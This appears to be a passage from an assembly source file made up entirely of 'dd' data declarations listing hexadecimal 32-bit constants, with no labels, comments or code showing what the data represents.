7A6A1705h, 0D0837C33h dd 0A00DE032h, 9BF0E9EDh, 3F6B0084h, 1266B846h, 0A100A530h dd 13CCEC1Eh, 0BBDEB1Bh, 68D6FAEAh, 5700FDDEh, 0E606EDC5h dd 58E90098h, 0D6F83A8Eh, 273A951Bh, 36AB1E3Eh, 148DC4C0h dd 1A6D5CEh, 2BBB2632h, 0CC669028h, 0E00B217h, 3186D427h dd 793D0BFFh, 6C011FF3h, 0ACF04723h, 0A0DD77E1h, 48CD8FD6h dd 0D000727Ch, 2F093F5Fh, 0F8B90Ch, 0A8CAD20h, 0BD233906h dd 0BF0739h, 3156CF86h, 797D238h, 4FDA4291h, 918B10Ch dd 0A1B4403Ch, 20009CE0h, 6E847749h, 9F3FCBh, 0A2520435h dd 0E529CF63h, 460038EAh, 4B277A64h, 92A861DCh, 8090000Ch dd 0F29A7E17h, 4401318Eh, 0E78AD943h, 6080CDA0h, 0DE426448h dd 0DA3C3E33h, 8AFC80EEh, 82561531h, 53A900BFh, 21729A73h dd 9200F774h, 27D0E9A5h, 20D8ADBh, 0AB2AF424h, 404896C2h dd 0BD00E89Dh, 7DCBBF40h, 786EAD9h, 37394C1Ch, 485100ACh dd 4101A89Ch, 64701756h, 0DC4DA4Dh, 31D90F2h, 9010A458h dd 0FCB095A9h, 4C7037B5h, 0CF7E70BDh, 45002208h, 2955EBFAh dd 4871540Dh, 0EC01984h, 9712189Bh, 0B1B51130h, 0F4BE6A00h dd 9F7E7241h, 0D70C0044h, 7F47D360h, 1E883077h, 37FF30CAh dd 63E8F538h, 0B2FC8405h, 4A80D8A3h, 0DD01D11Eh, 75B78169h dd 0C4331699h, 180043BAh, 88F212C9h, 0E1BC5Ah, 82E8D127h dd 5E32E265h, 49C6DC0Ch, 0C0E40826h, 657AFF21h, 43D2522h dd 16C8810Bh, 59B958DCh, 0E1E0D1E9h, 9A3D0099h, 7D2F0C9Eh dd 33003F78h, 0C91F18B7h, 0A8FC49h, 0B12CD220h, 3AAA7A91h dd 0F8DB5B00h, 0F21F9EB8h, 0C9DF0627h, 50C52080h, 3100B1F0h dd 0F63F8EA7h, 6647BC45h, 21B008FEh, 0A72B0600h, 0AB490A4h dd 6D0C3282h, 0C2269758h, 7759C828h, 8DA722C0h, 462E213Fh dd 701A391h, 0F384A72Ch, 6243C8AAh, 0C910561Ch, 9800D393h dd 0A7EAA1B9h, 0E3B2006Dh, 0F90AF86Ah, 8D009FB8h, 0C05FC888h dd 653B4AE2h, 2BE088DCh, 0B9236Ch, 789FE6F8h, 0C70CC29Eh dd 78BED6BBh, 9486003Ch, 348C2CD5h, 6E01ED3Dh, 0A7F3B371h dd 0C1D1B9A9h, 2D2F9F8h, 0D85AFB7Ch, 0F1604E55h, 0C70030E6h dd 1AC425BAh, 63A13Bh, 0D145301h, 0A799FEBEh, 428B7A00h dd 8F8EBCB1h, 764700C7h, 4B661760h, 630058F5h, 0D475AA02h dd 6CDEE2h, 40B26FC9h, 832CFE5Dh, 0B1069D01h, 20E842EAh dd 41C1194h, 7B050CBBh, 0DB10A0h, 89EF2834h, 8BD9BC7Ch dd 487F2600h, 5202DA3h, 0E0807ACh, 0DC44DAEBh, 0E88B1829h dd 54AED8h, 59DB8FC0h, 6516DE7Fh, 9EA8A84Eh, 0B6465201h dd 0C009DD44h, 7D0012F6h, 43E18799h, 1F3D93E8h, 40231C27h dd 1516AD78h, 201290Eh, 0CBC99ABFh, 0BB20068Eh, 92D9015Bh dd 4EF19FC8h, 0B9118032h, 82D7BA90h, 7B613AAEh, 0DF939600h dd 0EEE18B69h, 2CEB6D0Eh, 30E30051h, 0C41FD5h, 5F035780h dd 0EE545E29h, 9BB45B00h dd 1A98B13Bh, 1D38C02Eh, 0A59A6F3Ch, 5E685Ch, 0C3BF6EA1h dd 28323Dh, 444AB361h, 0CE40AB8Bh, 0A8F81D00h, 5721AD1Ah dd 0B085508Ch, 0EBD100EEh, 0CB2032C9h, 31006F78h, 0B95FCFD9h dd 773485Dh, 0CDD856EFh, 4E287057h, 0CE01C695h, 13BF8769h dd 4BE87D18h, 73E9008Dh, 0BC8E60E5h, 0FE00BB10h, 19DD7432h dd 0DBAFBDh, 0ED0C129Fh, 16F535CBh, 43D3A48h, 7B27FA92h dd 4D49E80h, 2E53749Ch, 0ABD896h, 11C522A3h, 0DA001A56h dd 0D312C8EAh, 78C739Fh, 0B8B95D63h, 1FD87225h, 64FB1840h dd 0B4209A07h, 0E3D0D793h, 1DC151B2h, 40740F9Bh, 8FF199B7h dd 5300FDD9h, 0CE112F12h, 2E77D7Ah, 2B495FDBh, 0A7C0A730h dd 21145281h, 0F4280Ah, 4BFEC66Eh, 74098BCh, 0E227D2F3h dd 0D76A20CEh, 4F00F94Ah, 0BA487369h, 31A3DBh, 753061Bh dd 5E1D42B7h, 2761210Eh, 0B60033E3h, 0BF01B23Ah, 0E9122EEAh dd 521D00A0h, 1779BA19h, 0BD315900h, 5F1CFF2Bh, 6AF0070h dd 0B8D4B5DEh, 0E139734Fh, 81598157h, 58E53FEh, 1039820h dd 3B87BC5Eh, 0D40BE499h, 2000D3CEh, 0B00C14A4h, 56A0F2h dd 70E784BAh, 0B629466Fh, 0DB74DC00h, 4F58CA08h, 0B1900098h dd 4673A8F5h, 0DD3CC028h, 685703B5h, 0D023A6F2h, 0C5DB9Bh dd 571AF40h, 1A086B4Ch, 6470B7h, 3AEFB138h, 36A57D56h dd 9800E879h, 64C54476h, 50178DF7h, 1E9440h, 5E51193Fh dd 7C9B272Ch, 73FC9049h, 71C0DD00h, 344FCBF4h, 43FB00E3h dd 0F34D69C8h, 0DE0E82D6h, 0A22678ABh, 48301907h, 99AC7B4h dd 33E76EBCh, 0F799400h, 5424A9D1h, 3A0084D2h, 0FD5F488Ch dd 1A94004Dh, 0FEA82E19h, 0D003565Ch, 0DAEA3455h, 5EBBD04Ch dd 1F909082h, 0C73E1613h, 80B47CC1h, 0B712469Ch, 0BF75101Ch dd 0F1CC849h, 0F617A098h, 9C54E0h, 0AEC7F3FFh, 0CC72B82Dh dd 54758926h, 57B5B403h, 0DDFB98D5h, 0D27D003Fh, 370D2C3Bh dd 0B30F6D90h, 0A7C6E8BEh, 0CCD09C8Bh, 9A6F0292h, 0DBF488h dd 0E3814EA6h, 8D3E937h, 95E15000h, 0A0EE993Ah, 20FA39h dd 61598809h, 301EFC02h, 0E8E42100h, 346B4D54h, 0F8821E3Fh dd 0E7090099h, 0D56530E2h, 0BB6FBD00h, 809E2D5Fh, 3E7FFE0Dh dd 0AC80F43Dh, 1B206B9Ah, 0EB00C5C4h, 8C429CB9h, 94E9FEDh dd 0CD85CEE4h, 43EA7887h, 0EBF82191h, 2077354h, 12E27130h dd 5E30E957h, 38B0A2D3h, 0D500FF98h, 7A5A86A9h, 9D00C303h dd 0A5E19AE9h, 4B6463h, 0A1A87B28h, 7A6E90CAh, 0F01DE824h dd 0CB356B00h, 0E323EFh, 0C2D37607h, 0BF0C1141h, 2721A200h dd 0E95FE228h, 0E1642C4Dh, 2B9D00A3h, 0EFEBF78Dh, 763C5838h dd 917C1101h, 24BAF142h, 17EF020h, 0B3DCB0B6h, 34673E32h dd 44105DCCh, 0CC1F8A3Ah, 8075DEF9h, 8668F0DBh, 0B7039434h dd 61064A9Ah, 40A5C012h, 5F7B6Fh, 0AFCC38FCh, 693DBD2Fh dd 0B02A6100h, 0CE1D341Ah, 9048F4E5h, 13EF0124h, 8417B9A5h dd 791FCF4Dh, 480BE07h, 0EDADBB5Fh, 0CFA00E6h, 0C6CA398Eh dd 5B266680h, 5D0C4A25h, 0FC4F4847h, 6ABF00A9h, 99BFCF9h dd 6B3E60F2h, 0CFED8097h, 0B7D8627Ch, 148E0043h, 6F484BC0h dd 0FF008304h, 0BA01E62Ah, 651E8h, 52426CC7h, 4874EA5Dh dd 10F60503h, 0C8BD9773h, 484638A8h, 997CD407h, 5D1F0B88h dd 820784D4h, 29A01EC8h, 1EDFF294h, 8097927Dh, 7224CA5Ch dd 0B0570CBh, 1BE7BF43h, 0B89BA5C3h, 0E740998h, 0C2274052h dd 6D577061h, 0CD143021h, 5F4F063Fh, 0BD8EE0h, 882A74FCh dd 80CE9813h, 6404BB00h, 6B35C228h, 9770004Ah, 0F89A4C2Dh dd 0BC009467h, 0B4F7203Fh, 0F227E8h, 1BEB09BFh, 31DA8DACh dd 80BE173Ch, 0EC13D00Fh, 0CC95F3h, 51BB4EE7h, 33A88A7Fh dd 4896EF00h, 4698AD1Ch, 0B0B093h, 0EAA7125Dh, 0B6DF31D7h dd 4A00D373h, 7C1C9DE6h, 0EB4C3F8Dh, 0BA6474h, 0A5DB58C4h dd 3DE28243h, 0A1CD9ECh, 2CBE04Bh, 134700DAh, 1EE7AA41h dd 0B8A25FFBh, 0E0A3CA00h, 0B4B05202h, 0C66BFF00h, 0A5EA08B6h dd 5A241366h, 0AF545221h, 3CC0011Ch, 34BB1AA7h, 651504B5h dd 0D1CA439Eh, 31FD22ACh, 0CCBAE010h, 0CD1FB3Ah, 20E04788h dd 0F4C97CFCh, 75A0004Fh, 0FA649D6Bh, 2339C81Eh, 9800F90Ah dd 1A5AA53Ch, 0EA0634B3h, 5D9F0F1Bh, 0A7079DC9h, 87408022h dd 0A500EC0Bh, 28ED153Ch, 0BBAC1FEh, 7CA459Fh, 9C0BAF00h dd 1A1F8754h, 149C4013h, 54489D0Ah, 6C60240Ah, 0E8CF1300h dd 0E59C05E2h, 0B09AF070h, 19AE0068h, 89F0BBD1h, 0EC0059A2h dd 0E6EA9E62h, 5767C1h, 0A33710DBh, 2E26ED7Dh, 6C954303h dd 0E87FD0F8h, 18A4E16h, 865F5D93h, 0DC1CA419h, 99006FE3h dd 0E59D5911h, 5EAD92h, 6C0BA327h, 0EF06A64Ah, 0E4C8E200h dd 8E10B3D0h, 0D3EB0036h, 0B6FBEC2Bh, 6C006A74h, 8D611493h dd 39700AA0h, 0B502DA05h, 8F650F27h, 12D51860h, 34072374h dd 2EE8A467h, 0A1C12730h, 73282644h, 82950093h, 818FFA1Eh dd 93185Ch, 0A5202DA6h, 1FBE854Eh, 71C8A05h, 0C07C9529h dd 0FF0E8286h, 60084BAh, 0E862F23Ch, 7ABA0DA5h, 0E8C5771Ah dd 0D3ACA882h, 746200B9h, 790D92BDh, 70032A7h, 0C3681260h dd 50B693FDh, 8DDC8B2h, 8608D69Dh, 5A3003Ch, 0D9FBD55Ch dd 39419BAh, 80AD08DAh, 5C0CC321h, 0A98821h, 9ACAC29Eh dd 0A2FF1B81h, 0E1D8380h, 0E6E9500Ch, 1049D007h, 9E5C3E36h dd 34179D88h, 845187A7h, 2094C6A5h, 0AEB1070Ch, 0E95BA097h dd 11493180h, 9A625755h, 0BA46CE03h, 0FF8AAB2Fh, 48F7EB10h dd 79047825h, 5ACD28FBh, 0EDBD0044h, 0D314EBDFh, 24338734h dd 0D008DBh, 0DFD5E421h, 1113C8B1h, 78BECC30h, 0F0079DDCh dd 10A16F94h, 0F0F45D40h, 0BF00E7E8h, 300FA662h, 38E09CF5h dd 0F8006D47h, 0BA271374h, 0CD0B31A5h, 0A036EB19h, 5C9841C4h dd 9A300732h, 97834826h, 93000EC2h, 192EE515h, 0F0A30107h dd 0C885D845h, 6080DF87h, 5044FF2Ah, 0D4AD49h, 38FDE815h dd 0B8DEB43Dh, 3A00EAF6h, 0E0F495A4h, 0E20D0E7Ah, 99EB07C0h dd 0A0B898C1h, 16E74D80h, 7F581100h, 776C59EFh, 0BED20010h dd 73882044h, 6700608Fh, 0C5751658h, 791D6EB7h, 3B0B0EC6h dd 9340A4DEh, 9C161C11h, 215209CCh, 0A4D5075Bh, 0D5B2F7F0h dd 0BF8783h, 734D2163h, 346D0F00h, 0D81AF0F9h, 1B0A305Fh dd 8A87AB38h, 0AE83C201h, 5E8BFC71h, 1AA1088Ch, 91005520h dd 20387B8Ah, 3E303B4h, 84C84710h, 97DAA4D6h, 165F9360h dd 88CFF779h, 9E867E96h, 4520C6F2h, 0B7199EBh, 0E418B5D8h dd 9454A404h, 46321BE1h, 0A400002Bh, 78A6FBh, 3E06C9BCh dd 5E95F562h, 59026032h, 0FBA0638Eh, 12F9C81Ch, 0A13D387Ch dd 85700FCh, 4129DEECh, 98C0ACEFh, 2D9216DDh, 70B4065h dd 7EDEE8F3h, 0D23EFA03h, 0A73F52E6h, 0B88094FAh, 1F5ADDE5h dd 0C5F00147h, 4D1A165Eh, 7E218EFAh, 0E86A2C8Fh, 7B21302Ah dd 6797FE69h, 0E8A8727Ch, 6C302860h, 859640B9h, 0A1870F5Dh dd 0A9600AAFh, 0F6E4345Bh, 0A3BDB700h, 32D37B8Fh, 3E6578A2h dd 4A01881Bh, 1A6BE74Fh, 0BB38E08Dh, 15609800h, 33DA04CFh dd 81EB094Bh, 8055CB03h, 0F13E706h, 9282C0A5h, 9BD2BC07h dd 0ECEF5000h, 0C553E8B8h, 5C7800FFh, 15226F2Dh, 0FBE22EDFh dd 7D79800h, 8571320Dh, 0F2CF0009h, 8DEE6988h, 0A31ECDE5h dd 598093DFh, 31A9469Ah dd 58AC0091h, 5F7C65BCh, 7366243Dh, 3C20A0A4h, 0BF017693h dd 9F398440h, 21C86097h, 4E06AB07h, 76109D2h, 46F8C481h dd 0CAB1193Ah, 0D5CF5845h, 98A0D1A2h, 0F8719E19h, 1886FF93h dd 692F2D4Dh, 8813AC00h, 5D975844h, 0A4A61D3Ah, 0FA72CFFDh dd 504C2980h, 0B600EEC8h, 0B1AF3BE5h, 12FF97Dh, 0AE4A9E53h dd 874D7773h, 6D3A060h, 90FA13F0h, 0EB8407AAh, 0F0F5672h dd 0D44A8E20h, 790E2A7Bh, 20B00B45h, 1C8D2EF7h, 0B1A360AFh dd 11C29483h, 3BAA3506h, 6984F08h, 4E36FF89h, 4D1E6952h dd 0D2EECD2h, 0AF135900h, 1456B6ACh, 802499D1h, 9EE2B500h dd 2BC725FDh, 2A884F0Bh, 0FB005FFCh, 0DC0C6D13h, 63F7100h dd 0A39E92F7h, 33582654h, 0DD9D1FC2h, 4C003B12h, 29BBBEDCh dd 0DD335520h, 8024406Ah, 123BE1h, 91568A0h, 0F4D4626Fh dd 0ED917906h, 3E298D1Bh, 47005BC6h, 9B0E1A0Fh, 169028F9h dd 0D8627800h, 0ACB91792h, 1F980749h, 0E275A54Fh, 0BEE07D60h dd 0A4000515h, 6E67B7EAh, 1E930412h, 39CFF750h, 1428B60Ch dd 0F8007268h, 83EC442Fh, 948CEBh, 7662FC5Dh, 60C9AECBh dd 0AFC89A02h, 0A08EAA47h, 690C5C80h, 86360E3Dh, 0A2A0CF0Eh dd 0B2141CEDh, 0E1628C06h, 0A82BF0h, 0B3D7F220h, 0FA24F7CEh dd 0F4001174h, 59C91290h, 8FB858h, 0E4F33DBBh, 0AD87BC28h dd 0E99B8500h, 0BE7417AFh, 4AD50095h, 70350167h, 3474F16Fh dd 0B021B160h, 0DAD5FEh, 0BC1484C3h, 538D2A10h, 6071ED48h dd 0DD683238h, 3BBFEA07h, 1F29E33Dh, 18B87934h, 22420002h dd 0EBE07550h, 6507C010h, 6C7A891Fh, 0D5A137E0h, 74A000E3h dd 5DE446DEh, 4006A8C1h, 365E6C7Bh, 2051D820h, 0C940C20Ch dd 1C7573h, 0AED59870h, 0A72565EAh, 313C18C6h, 1819F259h dd 41A3F645h, 2E75AC4Fh, 0F9D4603h, 185530EBh, 20195808h dd 2E00A3E4h, 1EB6BF42h, 984FA9h, 23490377h, 65735E45h dd 3E6B383Fh, 7061EC84h, 4600E5DDh, 0DA0097D9h, 5EDFFAAEh dd 0F08CFA9h, 57FEB533h, 288755E0h, 44075377h, 377EAED9h dd 2F6EF820h, 7E80091h, 0D201C862h, 8C027F6Dh, 30CA5A06h dd 0C4FE834Bh, 0F1BFD02Ah, 5E07000Eh, 818F3EF3h, 761EFE6Bh dd 8A8CA6DEh, 0CB3009D6h, 0BEF0A121h, 1870A3Ah, 6CFFABE5h dd 3EC85A05h, 0FD6930AAh, 9BD36128h, 7ABC4E00h, 745E39ABh dd 5D6A1873h, 338212Bh, 0CC425000h, 9B233934h, 3E8E7CCDh dd 0E400F8F3h, 2098B849h, 39017211h, 4C6E1486h, 19C93159h dd 9477FCh, 66F13E70h, 0B4F35A92h, 9A6F8D79h, 935E0061h dd 0B8691Dh, 0BFF77D81h, 65F6C699h, 9BC069DEh, 2166E224h dd 664740Dh, 9612447Fh, 3E00205Fh, 0AFB98043h, 4BBDF79h dd 608B671Ah, 0B3B080DCh, 0AA05F1B5h, 0A010B731h, 6EF07C87h dd 13643F3h, 0AE329C1Ah, 0A0F07720h, 0BF004CA9h, 7381184Ah dd 3087A514h, 49208BECh, 0F9687BCAh, 4674CC48h, 0C8AB392Eh dd 77B9063Bh, 0E9CC9Ch, 48A5503Dh, 0F0D8F76Ah, 41018477h dd 0B3F42BD5h, 0E0485D77h, 0C20A8C9Fh, 0DC7B6F4Eh, 2111E0A1h dd 500E3300h, 5F7DB89h, 0FB892660h, 0F664BDh, 0F8D5C766h dd 887F0280h, 4ECA6105h, 8C00263Eh, 23851AE8h, 2CE10003h dd 0EC0B773h, 500382FDh, 4613206h, 79CAF8B6h, 41200093h dd 704A9F60h, 0DC0EA165h, 6005F0D7h, 0A077127Fh, 0AAC4007Ah dd 0C944428Ch, 1AFCD158h, 0FAC62100h, 459F4116h, 4F7E003Ah dd 0FC26CEA1h, 4C07996Fh, 9A120D7Ah, 0DC2A9540h, 0F45C1FD0h dd 0F6478F2Eh, 0B53B0F80h, 191D6BF2h, 0FF5D07C5h, 8560EDC0h dd 0D3138Bh, 0AA1F6E50h, 0DA7F691Ch, 0CD394FF4h, 2B90092h dd 0B0071961h, 0EA3100C6h, 5CA426DBh, 0E733DFEh, 0B645E40Eh dd 2F4A86FCh, 6C310020h, 3C4BD5Dh, 0CE001AFAh, 0BC39B048h dd 0C0E997FBh, 71766548h, 226BB64h, 0F50FEC3Eh, 0E83C80DDh dd 0C0948AD4h, 8809CA29h, 34061AA3h, 24137B43h, 0DBCE3008h dd 87F2D820h, 6518A3B8h, 0A4502AE1h, 172679FAh, 19E231DEh dd 18F359E7h, 0A08708FAh, 0C7C41C1Ah, 87F7D140h, 0C8018685h dd 0B1F3FE70h, 0E08032E2h, 98E907C6h, 11CB75DEh, 58AB00D1h dd 1908A5A6h, 8DDAFE3h, 0BA218060h, 7B069BF5h, 1FE00014h dd 0F5CEE15h, 0B03E888h, 92966995h, 5A98C01Dh, 34B25C7Ch dd 0CC6A291Ch, 23182865h, 0AA70C73Eh, 0FB00C4E6h, 0D1103C8Bh dd 1D9D956Ah, 0C9F225Ah, 4220C5BEh, 4635F400h, 871655ADh dd 0D66800D8h, 33D83A8h, 0DE540847h, 0AB18EB8Ch, 5104C22h dd 8EF8A8h, 9467BF82h, 0C9ACCC25h, 17793Ch, 0FAF6BB7h dd 3D0BC702h, 0D600F09Bh, 354405CDh, 0C10003CBh, 0B5E1CA96h dd 726D7A2Ah, 0D0700007h, 0EAAAA5F1h, 33007393h, 0EEB2AB67h dd 1076214h, 0AEE25096h, 0E8972475h, 8D00714Ah, 3519CE52h dd 0CE456h, 1A1E595Eh, 0DB13DCABh, 8D204714h, 0EF3703D0h dd 886A4BD8h, 0E8902Ah, 0D9E346D1h, 63886CC1h, 10471834h dd 30E2042Ch, 0BF1053BCh, 3D004CBDh, 3B29EF8h, 66926Bh dd 5E529FF6h, 5D18E745h, 0EF8D0B0Fh, 6D430091h, 5BAF7Dh dd 0B07F8A41h, 0BDCACECDh, 9D05613Dh, 0BA000424h, 0B7AA6AAFh dd 522700D9h, 0BF7B7269h, 8100AD7Ah, 0C01ADFA0h, 5F8317E6h dd 0CDBCDEh, 0D351CF54h, 4AAFF7h, 2CD152EDh, 0C0CECAEAh dd 18B0583Ch, 5DC444DCh, 35C800E1h, 0BF346684h, 3A1DA242h dd 0C6C09F5Fh, 0CE3BC193h, 39C34CE0h, 4FEE920Fh, 4AE30052h dd 69A24027h, 0D9E52007h, 3D70D43Fh, 4DCD33h, 407D869Bh dd 0A52E7496h, 0A97A3500h, 46017CEEh, 0C87589h, 96979E28h dd 7267D3BBh, 0FC65FA00h, 51ECD248h, 86D700DDh, 0EEE440C0h dd 0D0000587h, 2FE55ADFh, 585B54h, 797D2678h, 3976ABBFh dd 9E85B100h, 0C69D5A4Ch, 0A03A0105h, 0F1779460h, 0FDD840CEh dd 0B906F7A4h, 0D5C2B4E8h, 70E850h, 66734C03h, 3C3E42F4h dd 0DDDB005h, 0F440ECF6h, 0C42DA57Bh, 482FE8EAh, 0E7009DBEh dd 320333DBh, 75395916h, 0E2007A58h, 0A8DF5A25h, 0EC072Ch dd 0A5C12EA6h, 38100911h, 0D237601h, 44D67D63h, 0BAFC43DDh dd 30CD7399h, 0EEF6C4C8h, 0FB07F9D3h, 74832BEAh, 0EC7FAB1h dd 59B000F7h, 72DD93E9h, 4212F30Ch, 48401CFDh, 83F11539h dd 0EC4E4B87h, 80DB3A93h, 6816EF17h, 0F6ADA192h, 0AA9E0002h dd 78404C7Ch, 0D41D8742h, 0CD0E5B32h, 51EBE068h, 3F8A53Dh dd 0EEA4E554h, 0C0EF710Ch, 7FBA7AA6h, 43310203h, 0D36BE15Ch dd 42FDC0EEh, 894464B4h, 30394306h, 2124A004h, 23651DDFh dd 0EB8D000Eh, 0E7FCF6C5h, 99D30C07h, 96F119EDh, 8C20634Dh dd 42550A6Ch, 7DDF66Fh, 0A54E64h, 83BDA881h, 4879B100h dd 582A0AD8h, 0A3311F0Dh, 35024E4h, 5636C70Eh, 8BD498E0h dd 7CFEF300h, 39423FC5h, 2D6724D7h, 55D840E0h, 58399448h dd 2652C85Dh, 0A100C046h, 68A2449Eh, 77AC984Bh, 6C0D00D3h dd 74F38C4Dh, 0C600EE6Ah, 7C026FABh, 0FF33C1h, 5461B77Fh dd 56734690h, 0F7C7D300h, 32A75CF3h, 7FAA003Dh, 0C9D40F8Eh dd 8103DD22h, 0A144B8EBh, 38CBE8DEh, 8DECCDh, 0AFF09E24h dd 0B89A8E50h, 0C15C2E00h, 0F6D55B0h, 925E00DDh, 9C86CF31h dd 0CE03E252h, 0DC9B372h, 2002B832h, 764D07BCh, 201F45EAh dd 0AFF20A4Eh, 1B893006h, 114874h, 8BF8600Fh, 0FA614F12h dd 0D6C5E900h, 0A9C76387h dd 1FB9149Ah, 8D009419h, 0B8F72831h, 0E0000D55h, 0EBDA5E5Ah dd 3561B41h, 0F1A904FCh, 0D807B7CCh, 0EA02DFB3h, 329A05D0h dd 0A2820067h, 733B265Ch, 0C8002F83h, 2CF5A024h, 19FBE7h dd 1266CB10h, 0AB26E0C2h, 9ED2AA00h, 0C0BB58DCh, 7A367393h dd 591348A3h, 8A206F09h, 2063D0A7h, 3CEBE095h, 32274E0Bh dd 187C8026h, 12847B8Eh, 40F8E8B1h, 0B51B510Ch, 82782837h dd 0F4535701h, 849C7ECFh, 0FAE31080h, 0B8B34DB0h, 94673678h dd 0EFC0D718h, 9A0F24D1h, 0DDA71F20h, 3A4040F8h, 0D2717848h dd 0E770D700h, 0C5051454h, 0ADDD382Ch, 7E4E6D81h, 0EC082637h dd 790F47B9h, 27A740h, 1F0D6880h, 0DB94A0E6h, 15B9EA8Fh dd 0A8F8DFF0h, 0E17ACA00h, 53C1D5D7h, 0BF8D4F01h, 0B2F8690Bh dd 0F00FF0h, 0FD5D51E2h, 5641590Eh, 0C4686F1Ch, 9005026h dd 0D0E81022h, 71E2C3h, 0ED7A70B9h, 0B4CC72AEh, 0A0C09900h dd 3E2053AFh, 44613923h, 0E5BC1300h, 62E00BB7h, 0EC0040F8h dd 8925CB49h, 3D08209Fh, 550057EBh, 0FE9A6073h, 9C1F1BE3h dd 0CAC0AB17h, 0F91E19F2h, 0EDA40043h, 96497EB1h, 80003381h dd 7A3BDE9h, 1D3CC3D1h, 0F79419h, 0ACC09F91h, 5500FEFDh dd 0B7087356h, 0A9E9EDh, 0BE96455Ch, 0AB25D680h, 39F34207h dd 202FC2E8h, 0B083AE08h, 5E022CD7h, 803C47C8h, 5B2B0A94h dd 19815A00h, 63EA1253h, 48DDE8A8h, 10023056h, 0B9B17A22h dd 0E0006C6Eh, 0ED7EE6DEh, 1734BC0h, 246C87B6h, 0E7D698h dd 3C5647h, 6DCFD415h, 62F7D2DCh, 0DFD3F003h, 8BA18CAh dd 0D9E44F11h, 203FF1Eh, 0C0C94926h, 0FA1D6CADh, 0C7830338h dd 0D764B596h, 7C5F0E8h, 59B99200h, 5E43DB16h, 0D174126Bh dd 0E33C43A7h, 0C7989773h, 3B01E286h, 500DDCB5h, 587252D3h dd 6C9F1702h, 5840AB5Fh, 0B860E084h, 83D2E880h, 941454C4h dd 0E70709C1h, 0D7001544h, 0DDB284E5h, 0D22853F4h, 4A2E38ADh dd 3BC6CF3h, 0DC6397D4h, 3EA8F872h, 0DA01036Ch, 77EB264Dh dd 1EF34C80h, 39FE47FCh, 0FB0134E2h, 1A697F2Dh, 58CCEF2Bh dd 1E12E4C3h, 0C316A6CCh, 6CE69450h, 0B4E830BBh, 0A07EDB06h dd 0CA686D01h, 0DF12734Eh, 0D677DCh, 7F1F479Eh, 0C4321618h dd 9B3FB900h, 0F5990E5Ch, 0D45828E5h, 22C1009Ah, 0CFB23EE1h dd 99ECDE12h, 0B00FEF7Ch, 0C15BC9EAh, 7467F8F7h, 0FB49FCh dd 0DDCE50C5h, 0CC534754h, 5E71CF00h, 2C455775h, 0AAC400B5h dd 0C89DAC2Fh, 0B03EEB6h, 785654C3h, 890CC59h, 250961FBh dd 1028E2EDh, 0E22ADC04h, 9B00B820h, 73213A68h, 88AF61h dd 4A90F026h, 280B6D7Ch, 48D4D300h, 0C69530CEh, 3813E45Bh dd 0A70076D1h, 0DA15124Eh, 11007C51h, 930792Eh, 0DBA1698h dd 5375A6AFh, 0A9247444h, 0D9446A00h, 424D4796h, 0DD455865h dd 40ACEA1Eh, 0C2A80B9h, 8402C37Fh, 5C3DF4FFh, 2C84C007h dd 2EEF07D9h, 807633A6h, 8A3972B7h, 1F0EB400h, 0AD90DB8Bh dd 0A0A500D3h, 0E4C7535Bh, 0F0000162h, 57B60C96h, 5F8C91Fh dd 6B7DBD9h, 5EBC0FDh, 0F77727CEh, 0F890A00h, 3C807DC8h dd 33850E69h, 2CA03DEBh, 644AA18Ah, 0EE0040FCh, 0C0C3EFA7h dd 2E94D30h, 0F1ED3CDBh, 0E3E3C9h, 0EEE441F0h, 0E8793BFCh dd 6C2D0F00h, 98627991h, 0C26E00B2h, 66045334h, 0B801C522h dd 2BA3AE69h, 7BD06312h, 19521651h, 6F0801DEh, 60584434h dd 0F6009584h, 281575F4h, 0E9EE8C1h, 890B7480h, 7C25C6C0h dd 10C07D34h, 93201A49h, 7068F6C0h, 0CF6B2894h, 177239FCh dd 8DB7588Ch, 2019860h, 3415E48Eh, 50FC4671h, 0FEE0049h dd 30E57FC4h, 0A4300523h, 614A5863h, 1DAD001Fh, 0D7DD5066h dd 7B008AF3h, 876DC7CAh, 5CACD4D2h, 3060EC41h, 13539484h dd 0ABE6C004h, 4088E531h, 38A44A1Eh, 32000270h, 0FD773113h dd 1EC0A4D6h, 0BCCBF8F1h, 39C92B87h, 49C8F07Eh, 0AC009EF0h dd 0BCA111FFh, 1F1BD2h, 0E28D9FD6h, 50A4DE15h, 0A9A63700h dd 0FA7D4608h, 1AEC3A3Bh, 0F34C800h, 0F34B5C82h, 355DCF05h dd 80AFF1FDh, 1901F2CDh, 0A9144100h, 0A8FC3880h, 7CC3C8Ch dd 0FC34400h, 575C5D31h, 14952F07h, 0ED30C0C6h, 4FD8B7h dd 0E82C027Eh, 0F3C7E721h, 0D2889405h, 70D00629h, 74CE2469h dd 564230BBh, 6F7F8180h, 95778800h, 9B0B89ACh, 0C1A800A7h dd 23F89D80h, 6C7D5404h, 3022902Eh, 0EF3A980h, 7A31E975h dd 737617FBh, 812D0750h, 7F47D026h, 0D000074Bh, 0A2F9FF11h dd 0BC5BC02h, 790B61E7h, 48701680h, 92E8EF71h, 0DCEEF200h dd 6E517689h, 0F07A004Bh, 0F73F835h, 6713DAD7h, 0FC4556F9h dd 9C205514h, 0E02D2236h, 4E70BBh, 7BC71099h, 0F13F566h dd 84D72002h, 43F3BA88h, 0E03900FAh, 2729E211h, 491042Eh dd 0F820B217h, 25DD9F9Bh, 9082564Fh, 1C484AD6h, 0E2001550h dd 0FA291C5Ah, 492483h, 40A8F9D1h, 7159B441h, 0C4BE2124h dd 7B94D800h, 3FD934h, 414C1737h, 0F8D4CD1Eh, 0EE4EF900h dd 0C0FB27B5h, 5CE400CBh, 7EA3816Ch, 1700F77Ch, 1A433F8Fh dd 7D30F63Eh, 0E68607D4h, 0F018085Fh, 59F2C134h, 7536DD00h dd 0B337E7A4h, 0E0160057h, 9E77ECD0h, 931334B6h, 1E07A0AAh dd 6CD0EDCCh, 2E829A14h, 88EAB7h, 0E9E6CFA6h, 0D401AB5Ah dd 86BCD12Fh, 42D4851Dh, 9E95007Ch, 6EE6CA07h, 0AF00A86Dh dd 0EF2594Ch, 7419F098h, 5258066Fh, 0EEA99967h, 0C4FCB300h dd 80AACB17h, 0E1BC3019h, 720A8111h, 0AF966D00h, 0D32A3447h dd 26360165h, 69E410D9h, 0A938C49Ah, 541648h, 171C10Eh dd 496F2C88h, 0DA003C79h, 0DBEB63A8h, 0E0FA498h, 8BA23966h dd 0AF2E831Ch, 0F23DE8DCh, 0B005F445h, 5DCA00A4h, 692F33Fh dd 9F00EFB2h, 285BF851h, 787BEBh, 0B66630D2h, 269E4CFBh dd 1B89FE00h, 0AD41BF8Bh, 0C3D61D47h, 9F5D80F3h, 0C62C6A8Ch 